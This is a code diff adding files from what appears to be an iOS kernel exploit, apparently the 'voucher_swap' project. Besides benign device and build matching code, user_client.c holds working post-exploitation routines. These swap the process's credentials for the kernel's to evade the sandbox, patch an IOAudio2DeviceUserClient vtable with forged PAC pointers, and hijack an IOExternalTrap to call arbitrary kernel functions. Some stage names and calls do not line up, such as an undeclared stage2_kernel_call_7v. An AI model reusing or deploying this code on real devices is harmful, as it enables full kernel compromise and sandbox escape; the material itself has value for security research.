diff --git a/kernel_call/platform.c b/kernel_call/platform.c
new file mode 100755
index 0000000..6ced006
--- /dev/null
+++ b/kernel_call/platform.c
@@ -0,0 +1,54 @@
+/*
+ * platform.c
+ * Brandon Azad
+ */
+#define PLATFORM_EXTERN
+#include "platform.h"
+
+#include <assert.h>
+#include <mach/mach.h>
+#include <sys/sysctl.h>
+#include <sys/utsname.h>
+
+#include "log.h"
+
+// ---- Initialization ----------------------------------------------------------------------------
+
+void
+platform_init() {
+ // Only initialize once.
+ static bool initialized = false;
+ if (initialized) {
+ return;
+ }
+ initialized = true;
+ // Set the page size.
+ platform.page_size = vm_kernel_page_size;
+ page_size = platform.page_size;
+ // Get the machine name (e.g. iPhone11,8).
+ struct utsname u = {};
+ int error = uname(&u);
+ assert(error == 0);
+ strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
+ // Get the build (e.g. 16C50).
+ size_t osversion_size = sizeof(platform.osversion);
+ error = sysctlbyname("kern.osversion",
+ (void *)platform.osversion, &osversion_size, NULL, 0);
+ assert(error == 0);
+ // Get basic host info.
+ mach_port_t host = mach_host_self();
+ assert(MACH_PORT_VALID(host));
+ host_basic_info_data_t basic_info;
+ mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
+ kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
+ assert(kr == KERN_SUCCESS);
+ platform.cpu_type = basic_info.cpu_type;
+ platform.cpu_subtype = basic_info.cpu_subtype;
+ platform.physical_cpu = basic_info.physical_cpu;
+ platform.logical_cpu = basic_info.logical_cpu;
+ platform.memory_size = basic_info.max_mem;
+ INFO("memory_size: %zu", platform.memory_size);
+ mach_port_deallocate(mach_task_self(), host);
+ // Log basic platform info.
+ DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
+}
diff --git a/kernel_call/platform.h b/kernel_call/platform.h
new file mode 100755
index 0000000..87ab62e
--- /dev/null
+++ b/kernel_call/platform.h
@@ -0,0 +1,99 @@
+/*
+ * platform.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PLATFORM_H_
+#define VOUCHER_SWAP__PLATFORM_H_
+
+#include <stdbool.h>
+#include <mach/machine.h>
+
+#ifdef PLATFORM_EXTERN
+#define extern PLATFORM_EXTERN
+#endif
+
+/*
+ * platform
+ *
+ * Description:
+ * Basic information about the platform.
+ */
+struct platform {
+ /*
+ * platform.machine
+ *
+ * Description:
+ * The name of the platform, e.g. iPhone11,8.
+ */
+ const char machine[32];
+ /*
+ * platform.osversion
+ *
+ * Description:
+ * The version of the OS build, e.g. 16C50.
+ */
+ const char osversion[32];
+ /*
+ * platform.cpu_type
+ *
+ * Description:
+ * The platform CPU type.
+ */
+ cpu_type_t cpu_type;
+ /*
+ * platform.cpu_subtype
+ *
+ * Description:
+ * The platform CPU subtype.
+ */
+ cpu_subtype_t cpu_subtype;
+ /*
+ * platform.physical_cpu
+ *
+ * Description:
+ * The number of physical CPU cores.
+ */
+ unsigned physical_cpu;
+ /*
+ * platform.logical_cpu
+ *
+ * Description:
+ * The number of logical CPU cores.
+ */
+ unsigned logical_cpu;
+ /*
+ * platform.page_size
+ *
+ * Description:
+ * The kernel page size.
+ */
+ size_t page_size;
+ /*
+ * platform.memory_size
+ *
+ * Description:
+ * The size of physical memory on the device.
+ */
+ size_t memory_size;
+};
+extern struct platform platform;
+
+/*
+ * page_size
+ *
+ * Description:
+ * The kernel page size on this platform, made available globally for convenience.
+ */
+extern size_t page_size;
+
+/*
+ * platform_init
+ *
+ * Description:
+ * Initialize the platform.
+ */
+void platform_init(void);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/platform_match.c b/kernel_call/platform_match.c
new file mode 100755
index 0000000..8226be5
--- /dev/null
+++ b/kernel_call/platform_match.c
@@ -0,0 +1,346 @@
+/*
+ * platform_match.c
+ * Brandon Azad
+ */
+#include "platform_match.h"
+
+#include <assert.h>
+#include <string.h>
+
+#include "log.h"
+#include "platform.h"
+
+// ---- Matching helper functions -----------------------------------------------------------------
+
+// Advance past any spaces in a string.
+static void
+skip_spaces(const char **p) {
+ const char *pch = *p;
+ while (*pch == ' ') {
+ pch++;
+ }
+ *p = pch;
+}
+
+// ---- Device matching ---------------------------------------------------------------------------
+
+// A wildcard device version number.
+#define ANY ((unsigned)(-1))
+
+// Parse the version part of a device string.
+static bool
+parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
+ bool allow_wildcard, const char **end) {
+ const char *p = device_version;
+ // Parse the major version, which might be a wildcard.
+ unsigned maj = 0;
+ if (allow_wildcard && *p == '*') {
+ maj = ANY;
+ p++;
+ } else {
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ maj = maj * 10 + (ch - '0');
+ p++;
+ }
+ }
+ // Make sure we got the comma.
+ if (*p != ',') {
+ return false;
+ }
+ p++;
+ // Parse the minor version, which might be a wildcard.
+ unsigned min = 0;
+ if (allow_wildcard && *p == '*') {
+ min = ANY;
+ p++;
+ } else {
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ min = min * 10 + (ch - '0');
+ p++;
+ }
+ }
+ // If end is NULL, then require that we're at the end of the string. Else, return the end
+ // of what we parsed.
+ if (end == NULL) {
+ if (*p != 0) {
+ return false;
+ }
+ } else {
+ *end = p;
+ }
+ // Return the values.
+ *major = maj;
+ *minor = min;
+ return true;
+}
+
+// Parse a device name.
+static bool
+parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
+ bool allow_wildcard, const char **end) {
+ // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
+ // If this device name doesn't have a comma then we don't know how to parse it. Just set
+ // the whole thing as the device type.
+ const char *comma = strchr(device, ',');
+ if (comma == NULL) {
+unknown:
+ strcpy(device_type, device);
+ *major = 0;
+ *minor = 0;
+ return false;
+ }
+ // Walk backwards from the comma to the start of the major version.
+ if (comma == device) {
+ goto unknown;
+ }
+ const char *p = comma;
+ for (;;) {
+ char ch = *(p - 1);
+ if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
+ break;
+ }
+ p--;
+ if (p == device) {
+ goto unknown;
+ }
+ }
+ if (p == comma) {
+ goto unknown;
+ }
+ size_t device_type_length = p - device;
+ // Parse the version numbers.
+ bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
+ if (!ok) {
+ goto unknown;
+ }
+ // Return the device_type string. This is last in case it's shared with the device string.
+ strncpy(device_type, device, device_type_length);
+ device_type[device_type_length] = 0;
+ return true;
+}
+
+// Parse a device name.
+static bool
+parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
+ return parse_device_internal(device, device_type, major, minor, false, NULL);
+}
+
+// Parse a device range string.
+static bool
+parse_device_range(const char *device, char *device_type,
+ unsigned *min_major, unsigned *min_minor,
+ unsigned *max_major, unsigned *max_minor,
+ const char **end) {
+ char dev_type[32];
+ const char *next = device;
+ // First parse a full device.
+ bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
+ if (!ok) {
+unknown:
+ strcpy(device_type, device);
+ *min_major = 0;
+ *min_minor = 0;
+ *max_major = 0;
+ *max_minor = 0;
+ return false;
+ }
+ // Optionally parse a separator and more versions.
+ if (*next == 0) {
+ *max_major = *min_major;
+ *max_minor = *min_minor;
+ } else if (*next == '-') {
+ next++;
+ ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
+ if (!ok) {
+ goto unknown;
+ }
+ }
+ *end = next;
+ // Return the device_type.
+ strcpy(device_type, dev_type);
+ return true;
+}
+
+// Check if the given device number is numerically within range.
+static bool
+numerical_device_match(unsigned major, unsigned minor,
+ unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
+ if (major < min_major && min_major != ANY) {
+ return false;
+ }
+ if ((major == min_major || min_major == ANY)
+ && minor < min_minor && min_minor != ANY) {
+ return false;
+ }
+ if (major > max_major && max_major != ANY) {
+ return false;
+ }
+ if ((major == max_major || max_major == ANY)
+ && minor > max_minor && max_minor != ANY) {
+ return false;
+ }
+ return true;
+}
+
+// Match a specific device against a device match list.
+static bool
+match_device(const char *device, const char *devices) {
+ if (devices == NULL || strcmp(devices, "*") == 0) {
+ return true;
+ }
+ // Parse this device.
+ char device_type[32];
+ unsigned major, minor;
+ parse_device(device, device_type, &major, &minor);
+ // Parse the match list.
+ const char *next = devices;
+ while (*next != 0) {
+ // Parse the next device range.
+ char match_device_type[32];
+ unsigned min_major, min_minor, max_major, max_minor;
+ parse_device_range(next, match_device_type, &min_major, &min_minor,
+ &max_major, &max_minor, &next);
+ if (*next != 0) {
+ skip_spaces(&next);
+ assert(*next == '|');
+ next++;
+ skip_spaces(&next);
+ assert(*next != 0);
+ }
+ // Check if this is a match.
+ if (strcmp(device_type, match_device_type) == 0
+ && numerical_device_match(major, minor,
+ min_major, min_minor, max_major, max_minor)) {
+ return true;
+ }
+ }
+ return false;
+}
+
+// ---- Build matching ----------------------------------------------------------------------------
+
+// Parse a build version string into a uint64_t. Maintains comparison order.
+static uint64_t
+parse_build_version(const char *build, const char **end) {
+ // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
+ const char *p = build;
+ // Parse out the major number.
+ uint64_t major = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ major = major * 10 + (ch - '0');
+ p++;
+ }
+ // Parse out the minor.
+ uint64_t minor = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < 'A' || 'Z' < ch) {
+ break;
+ }
+ minor = (minor << 8) + ch;
+ p++;
+ }
+ // Parse out the patch.
+ uint64_t patch = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ patch = patch * 10 + (ch - '0');
+ p++;
+ }
+ // Parse out the alpha.
+ uint64_t alpha = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < 'a' || 'z' < ch) {
+ break;
+ }
+ alpha = (alpha << 8) + ch;
+ p++;
+ }
+ // Construct the full build version.
+ if (end != NULL) {
+ *end = p;
+ }
+ return ((major << (8 * 5))
+ | (minor << (8 * 4))
+ | (patch << (8 * 1))
+ | (alpha << (8 * 0)));
+}
+
+// Parse a build version range string.
+static void
+parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
+ const char *next = builds;
+ uint64_t min, max;
+ // Parse the lower range.
+ if (*next == '*') {
+ min = 0;
+ next++;
+ } else {
+ min = parse_build_version(next, &next);
+ }
+ // Parse the upper range (if it exists).
+ if (*next == 0) {
+ assert(min != 0);
+ max = min;
+ } else {
+ skip_spaces(&next);
+ assert(*next == '-');
+ next++;
+ skip_spaces(&next);
+ if (*next == '*') {
+ max = (uint64_t)(-1);
+ next++;
+ } else {
+ max = parse_build_version(next, &next);
+ }
+ assert(*next == 0);
+ }
+ *version_min = min;
+ *version_max = max;
+}
+
+// Check if the given build version string matches the build range.
+static bool
+match_build(const char *build, const char *builds) {
+ if (builds == NULL || strcmp(builds, "*") == 0) {
+ return true;
+ }
+ uint64_t version = parse_build_version(build, NULL);
+ uint64_t version_min, version_max;
+ parse_build_version_range(builds, &version_min, &version_max);
+ return (version_min <= version && version <= version_max);
+}
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+platform_matches_device(const char *device_range) {
+ return match_device(platform.machine, device_range);
+}
+
+bool
+platform_matches_build(const char *build_range) {
+ return match_build(platform.osversion, build_range);
+}
+
+bool
+platform_matches(const char *device_range, const char *build_range) {
+ return platform_matches_device(device_range)
+ && platform_matches_build(build_range);
+}
diff --git a/kernel_call/platform_match.h b/kernel_call/platform_match.h
new file mode 100755
index 0000000..18479a8
--- /dev/null
+++ b/kernel_call/platform_match.h
@@ -0,0 +1,62 @@
+/*
+ * platform_match.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
+#define VOUCHER_SWAP__PLATFORM_MATCH_H_
+
+#include <stdbool.h>
+
+/*
+ * platform_matches_device
+ *
+ * Description:
+ * Check whether the current platform matches the specified device or range of devices.
+ *
+ * Match format:
+ * The match string may either specify a single device glob or a range of device globs. For
+ * example:
+ *
+ * "iPhone11,8" Matches only iPhone11,8
+ * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
+ * "iPhone*,*" Matches all iPhone devices.
+ * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
+ * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
+ *
+ * As a special case, "*" matches all devices.
+ */
+bool platform_matches_device(const char *device_range);
+
+/*
+ * platform_matches_build
+ *
+ * Description:
+ * Check whether the current platform matches the specified build version or range of build
+ * versions.
+ *
+ * Match format:
+ * The match string may either specify a single build version or a range of build versions.
+ * For example:
+ *
+ * "16C50" Matches only build 16C50.
+ * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
+ *
+ * As a special case, either build version may be replaced with "*" to indicate a lack of
+ * lower or upper bound:
+ *
+ * "*-16B92" Matches all builds up to and including 16B92.
+ * "16C50-*" Matches build 16C50 and later.
+ * "*" Matches all build versions.
+ */
+bool platform_matches_build(const char *build_range);
+
+/*
+ * platform_matches
+ *
+ * Description:
+ * A convenience function that combines platform_matches_device() and
+ * platform_matches_build().
+ */
+bool platform_matches(const char *device_range, const char *build_range);
+
+#endif
diff --git a/kernel_call/user_client.c b/kernel_call/user_client.c
new file mode 100755
index 0000000..24f5f57
--- /dev/null
+++ b/kernel_call/user_client.c
@@ -0,0 +1,363 @@
+/*
+ * kernel_call/user_client.c
+ * Brandon Azad
+ */
+#include "user_client.h"
+
+#include <assert.h>
+
+#include "IOKitLib.h"
+#include "kernel_call.h"
+#include "kc_parameters.h"
+#include "pac.h"
+#include "kernel_memory.h"
+#include "kernel_slide.h"
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+// ---- Global variables --------------------------------------------------------------------------
+
+// The connection to the user client.
+static io_connect_t connection;
+
+// The address of the user client.
+static uint64_t user_client;
+
+// The address of the IOExternalTrap.
+static uint64_t trap;
+
+// The size of our kernel buffer.
+static const size_t kernel_buffer_size = 0x4000;
+
+// The address of our kernel buffer.
+static uint64_t kernel_buffer;
+
+// The maximum size of the vtable.
+static const size_t max_vtable_size = 0x1000;
+
+// The user client's original vtable pointer.
+static uint64_t original_vtable;
+
+// ---- Stage 1 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_get_proc_for_task
+ *
+ * Description:
+ * Get the proc struct for a task.
+ */
+static uint64_t
+kernel_get_proc_for_task(uint64_t task) {
+ return kernel_read64(task + OFFSET(task, bsd_info));
+}
+
+/*
+ * stage0_create_user_client
+ *
+ * Description:
+ * Create a connection to an IOAudio2DeviceUserClient object.
+ */
+static bool
+stage0_create_user_client() {
+ bool success = false;
+ // First get a handle to some IOAudio2Device driver.
+ io_iterator_t iter;
+ kern_return_t kr = IOServiceGetMatchingServices(
+ kIOMasterPortDefault,
+ IOServiceMatching("IOAudio2Device"),
+ &iter);
+ if (iter == MACH_PORT_NULL) {
+ ERROR("could not find services matching %s", "IOAudio2Device");
+ goto fail_0;
+ }
+ // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
+ // denied with a sandbox error.
+ uint64_t ucred_field, ucred;
+ assume_kernel_credentials(&ucred_field, &ucred);
+ // Now try to open each service in turn.
+ for (;;) {
+ // Get the service.
+ mach_port_t IOAudio2Device = IOIteratorNext(iter);
+ if (IOAudio2Device == MACH_PORT_NULL) {
+ ERROR("could not open any %s", "IOAudio2Device");
+ break;
+ }
+ // Now open a connection to it.
+ kr = IOServiceOpen(
+ IOAudio2Device,
+ mach_task_self(),
+ 0,
+ &connection);
+ IOObjectRelease(IOAudio2Device);
+ if (kr == KERN_SUCCESS) {
+ success = true;
+ break;
+ }
+ DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
+ DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
+ }
+ // Restore the credentials.
+ restore_credentials(ucred_field, ucred);
+fail_1:
+ IOObjectRelease(iter);
+fail_0:
+ return success;
+}
+
+/*
+ * stage0_find_user_client_trap
+ *
+ * Description:
+ * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
+ */
+static void
+stage0_find_user_client_trap() {
+ assert(MACH_PORT_VALID(connection));
+ // Get the address of the port representing the IOAudio2DeviceUserClient.
+ uint64_t user_client_port;
+ bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
+ assert(ok);
+ // Get the address of the IOAudio2DeviceUserClient.
+ user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
+ // Get the address of the IOExternalTrap.
+ trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
+ DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
+}
+
+/*
+ * stage0_allocate_kernel_buffer
+ *
+ * Description:
+ * Allocate a buffer in kernel memory.
+ */
+static bool
+stage0_allocate_kernel_buffer() {
+ kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
+ kernel_buffer_size, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
+ ERROR("could not allocate kernel buffer");
+ return false;
+ }
+ DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
+ return true;
+}
+
+// ---- Stage 3 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_read_vtable_method
+ *
+ * Description:
+ * Read the virtual method pointer at the specified index in the vtable.
+ */
+static uint64_t
+kernel_read_vtable_method(uint64_t vtable, size_t index) {
+ uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
+ return kernel_read64(vmethod_address);
+}
+
+/*
+ * stage2_copyout_user_client_vtable
+ *
+ * Description:
+ * Copy out the user client's vtable to userspace. The returned array must be freed when no
+ * longer needed.
+ */
+static uint64_t *
+stage2_copyout_user_client_vtable() {
+ // Get the address of the vtable.
+ original_vtable = kernel_read64(user_client);
+ uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
+ // Read the contents of the vtable to local buffer.
+ uint64_t *vtable_contents = malloc(max_vtable_size);
+ assert(vtable_contents != NULL);
+ kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
+ return vtable_contents;
+}
+
+/*
+ * stage2_patch_user_client_vtable
+ *
+ * Description:
+ * Patch the contents of the user client's vtable in preparation for stage 3.
+ */
+static size_t
+stage2_patch_user_client_vtable(uint64_t *vtable) {
+ // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
+ // original version (which calls IOUserClient::getExternalTrapForIndex()).
+ uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
+ ADDRESS(IOUserClient__vtable),
+ VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
+ vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
+ = IOUserClient__getTargetAndTrapForIndex;
+ // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
+ // IORegistryEntry::getRegistryEntryID().
+ vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
+ ADDRESS(IORegistryEntry__getRegistryEntryID);
+ // Forge the pacia pointers to the virtual methods.
+ size_t count = 0;
+ for (; count < max_vtable_size / sizeof(*vtable); count++) {
+ uint64_t vmethod = vtable[count];
+ if (vmethod == 0) {
+ break;
+ }
+#if __arm64e__
+ assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
+ vmethod = kernel_xpaci(vmethod);
+ uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
+ vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
+ VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
+#endif // __arm64e__
+ }
+ return count;
+}
+
+/*
+ * stage2_patch_user_client
+ *
+ * Description:
+ * Patch the user client in preparation for stage 3.
+ */
+static void
+stage2_patch_user_client(uint64_t *vtable, size_t count) {
+ // Write the vtable to the kernel buffer.
+ kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
+ // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
+ uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
+ uint64_t reserved = kernel_read64(reserved_field);
+ uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
+ kernel_write64(id_field, trap);
+ // Forge the pacdza pointer to the vtable.
+ uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
+ // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
+ kernel_write64(user_client, vtable_pointer);
+}
+
+/*
+ * stage2_unpatch_user_client
+ *
+ * Description:
+ * Undo the patches to the user client.
+ */
+static void
+stage2_unpatch_user_client() {
+ // Write the original vtable pointer back to the user client.
+ kernel_write64(user_client, original_vtable);
+}
+
+// ---- API ---------------------------------------------------------------------------------------
+
+bool
+stage1_kernel_call_init() {
+ // Initialize the parameters. We do this first to fail early.
+ bool ok = kernel_call_parameters_init();
+ if (!ok) {
+ return false;
+ }
+ // Create the IOAudio2DeviceUserClient.
+ ok = stage0_create_user_client();
+ if (!ok) {
+ ERROR("could not create %s", "IOAudio2DeviceUserClient");
+ return false;
+ }
+ // Find the IOAudio2DeviceUserClient's IOExternalTrap.
+ stage0_find_user_client_trap();
+ // Allocate the kernel buffer.
+ ok = stage0_allocate_kernel_buffer();
+ if (!ok) {
+ return false;
+ }
+ return true;
+}
+
+void
+stage1_kernel_call_deinit() {
+ if (trap != 0) {
+ // Zero out the trap.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ memset(trap_data, 0, SIZE(IOExternalTrap));
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ trap = 0;
+ }
+ if (kernel_buffer != 0) {
+ // Deallocate our kernel buffer.
+ mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
+ kernel_buffer = 0;
+ }
+ if (MACH_PORT_VALID(connection)) {
+ // Close the connection.
+ IOServiceClose(connection);
+ connection = MACH_PORT_NULL;
+ }
+}
+
+uint64_t
+stage1_get_kernel_buffer() {
+ assert(kernel_buffer_size >= 0x2000);
+ return kernel_buffer + kernel_buffer_size - 0x1000;
+}
+
+uint32_t
+stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ assert(function != 0);
+ assert(argument_count <= 7);
+ assert(argument_count == 0 || arguments[0] != 0);
+ assert(MACH_PORT_VALID(connection) && trap != 0);
+ // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
+ uint64_t args[7] = { 1 };
+ for (size_t i = 0; i < argument_count && i < 7; i++) {
+ args[i] = arguments[i];
+ }
+ // Initialize the IOExternalTrap for this call.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
+ FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
+ FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ // Perform the function call.
+ uint32_t result = IOConnectTrap6(connection, 0,
+ args[1], args[2], args[3], args[4], args[5], args[6]);
+ return result;
+}
+
+bool
+stage3_kernel_call_init() {
+ uint64_t *vtable = stage2_copyout_user_client_vtable();
+ size_t count = stage2_patch_user_client_vtable(vtable);
+ stage2_patch_user_client(vtable, count);
+ free(vtable);
+ return true;
+}
+
+void
+stage3_kernel_call_deinit() {
+ if (original_vtable != 0) {
+ stage2_unpatch_user_client();
+ original_vtable = 0;
+ }
+}
+
+uint32_t
+kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ return stage2_kernel_call_7v(function, argument_count, arguments);
+}
+
+void
+assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
+ uint64_t proc_self = kernel_get_proc_for_task(current_task);
+ uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
+ uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
+ uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
+ uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
+ uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
+ kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
+ *ucred_field = proc_self_ucred_field;
+ *ucred = proc_self_ucred;
+}
+
+void
+restore_credentials(uint64_t ucred_field, uint64_t ucred) {
+ kernel_write64(ucred_field, ucred);
+}
diff --git a/kernel_call/user_client.h b/kernel_call/user_client.h
new file mode 100755
index 0000000..81c373d
--- /dev/null
+++ b/kernel_call/user_client.h
@@ -0,0 +1,91 @@
+/*
+ * kernel_call/user_client.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
+#define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * stage1_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 1 of kernel function calling.
+ *
+ * Initializes:
+ * kernel_call_parameters_init()
+ * stage1_kernel_call_7v()
+ */
+bool stage1_kernel_call_init(void);
+
+/*
+ * stage1_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 1 of kernel function calling.
+ */
+void stage1_kernel_call_deinit(void);
+
+/*
+ * stage1_get_kernel_buffer
+ *
+ * Description:
+ * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
+ * stages.
+ */
+uint64_t stage1_get_kernel_buffer(void);
+
+/*
+ * stage1_kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function using our stage 1 execute primitive.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * The return value is truncated to 32 bits.
+ * At stage 1, only arguments X1 - X6 are controlled.
+ * The function pointer must already have a PAC signature.
+ */
+uint32_t stage1_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]);
+
+/*
+ * stage3_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 3 of kernel function calling.
+ *
+ * Initializes:
+ * kernel_call_7v()
+ */
+bool stage3_kernel_call_init(void);
+
+/*
+ * stage3_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 3 of kernel function calling.
+ */
+void stage3_kernel_call_deinit(void);
+
+/*
+ * assume_kernel_credentials
+ *
+ * Description:
+ * Set this process's credentials to the kernel's credentials so that we can bypass sandbox
+ * checks.
+ */
+void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
+/*
+ * restore_credentials
+ *
+ * Description:
+ * Restore this process's credentials after calling assume_kernel_credentials().
+ */
+void restore_credentials(uint64_t ucred_field, uint64_t ucred);
+
+#endif